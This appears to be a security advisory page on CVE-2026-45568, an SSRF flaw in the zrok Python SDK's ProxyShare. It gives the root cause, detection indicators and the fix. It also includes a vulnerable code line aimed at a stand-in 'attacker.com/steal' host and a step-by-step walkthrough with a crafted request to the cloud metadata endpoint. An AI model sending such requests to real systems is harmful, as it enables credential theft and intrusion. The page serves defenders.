CVE-2026-45568: 
Python vulnerability analysis and mitigation

CVE-2026-45568 is a Server-Side Request Forgery (SSRF) vulnerability in the zrok Python SDK's ProxyShare component that allows unauthenticated remote attackers to redirect server-side HTTP requests to arbitrary attacker-controlled hosts. The flaw affects zrok versions v0.4.47 through v2.0.2 (pip package versions >= 0.4.47 and <= 1.1.11), and is patched in version 2.0.3. It was published on May 13, 2026, by reporter aisafe-bot, and formally added to the GitHub Advisory Database on May 19, 2026. The vulnerability carries a CVSS v4 base score of 9.9 (Critical) (GitHub Advisory, zrok Advisory).

The root cause is improper URL construction in the Flask-based proxy handler of the zrok Python SDK (CWE-22 / path traversal, with SSRF behavior per CWE-918). The ProxyShare class constructs outbound request URLs using urllib.parse.urljoin(self.target, path), where path is taken directly from the incoming HTTP request. Python's urljoin has well-known behavior: when the second argument is an absolute URL (e.g., http://attacker.com/steal), it completely replaces the base URL, discarding the configured self.target. Because the Flask route accepts all HTTP methods and any path without validation, an attacker can supply an absolute URL as the path component, causing the proxy to forward the full request — including headers, cookies, and body — to the attacker's chosen destination and return the response (GitHub Advisory, zrok Advisory).

Vulnerable code pattern:

url = urllib.parse.urljoin(self.target, path)  # path = "http://attacker.com/steal"
resp = requests.request(method=request.method, url=url, headers=..., data=..., cookies=...)

Successful exploitation allows an attacker to use the zrok ProxyShare instance as an SSRF proxy, making the server issue HTTP requests to any attacker-specified host — including internal network services, cloud metadata endpoints (e.g., http://169.254.169.254/), or external attacker-controlled servers. This results in high confidentiality and integrity impact on both the vulnerable system and subsequent systems, enabling credential theft, sensitive data exfiltration, internal service enumeration, and potential lateral movement within private networks. Cookies and authentication headers forwarded by the proxy may expose session tokens or API keys to the attacker (GitHub Advisory, zrok Advisory).

1. Reconnaissance: Identify publicly accessible zrok ProxyShare instances (pip package versions 0.4.47–1.1.11) by scanning for exposed zrok share endpoints or searching for known zrok share URL patterns.
2. Craft malicious request: Prepare an HTTP request targeting the zrok share endpoint, using an absolute URL as the path component — for example: GET http://target-zrok-share.example.com/http://169.254.169.254/latest/meta-data/ HTTP/1.1.
3. Trigger SSRF via urljoin: The Flask handler receives the path http://169.254.169.254/latest/meta-data/, passes it to urllib.parse.urljoin(self.target, path), which returns the attacker-supplied absolute URL, completely overriding the configured target.
4. Receive server-side response: The proxy issues the request to the attacker-controlled or internal URL and streams the response back to the attacker, potentially exposing cloud credentials, internal service data, or other sensitive information.
5. Exfiltrate or pivot: Use retrieved credentials or internal service responses (e.g., AWS IAM tokens from metadata endpoint) to escalate access or move laterally within the target environment (GitHub Advisory, zrok Advisory).

• Network: Outbound HTTP requests from the zrok ProxyShare host to unexpected external IPs or internal cloud metadata endpoints (e.g., 169.254.169.254, fd00:ec2::254); unusual HTTP responses being returned to external clients containing internal service data.
• Logs: Flask/application access logs showing requests with absolute URLs in the path field (e.g., GET /http://attacker.com/... HTTP/1.1); HTTP requests to internal RFC-1918 addresses or cloud metadata services originating from the zrok process.
• Process: The Python process running ProxyShare making outbound connections to hosts not matching the configured self.target URL.

The vulnerability is patched in zrok version 2.0.3. Users running the zrok Python SDK with ProxyShare on any version from v0.4.47 to v2.0.2 should upgrade immediately using pip install --upgrade zrok. As a temporary workaround prior to patching, operators should restrict network access to ProxyShare endpoints to trusted clients only, and consider blocking outbound connections from the proxy host to internal network ranges and cloud metadata endpoints via firewall rules (zrok Advisory, GitHub Advisory).

The vulnerability was reported by aisafe-bot and published by mikegorman-nf on the openziti/zrok repository. A post from @vulert_official on X (Twitter) noted the advisory shortly after publication. No significant broader media coverage or notable researcher commentary beyond the advisory itself has been identified at this time (GitHub Advisory).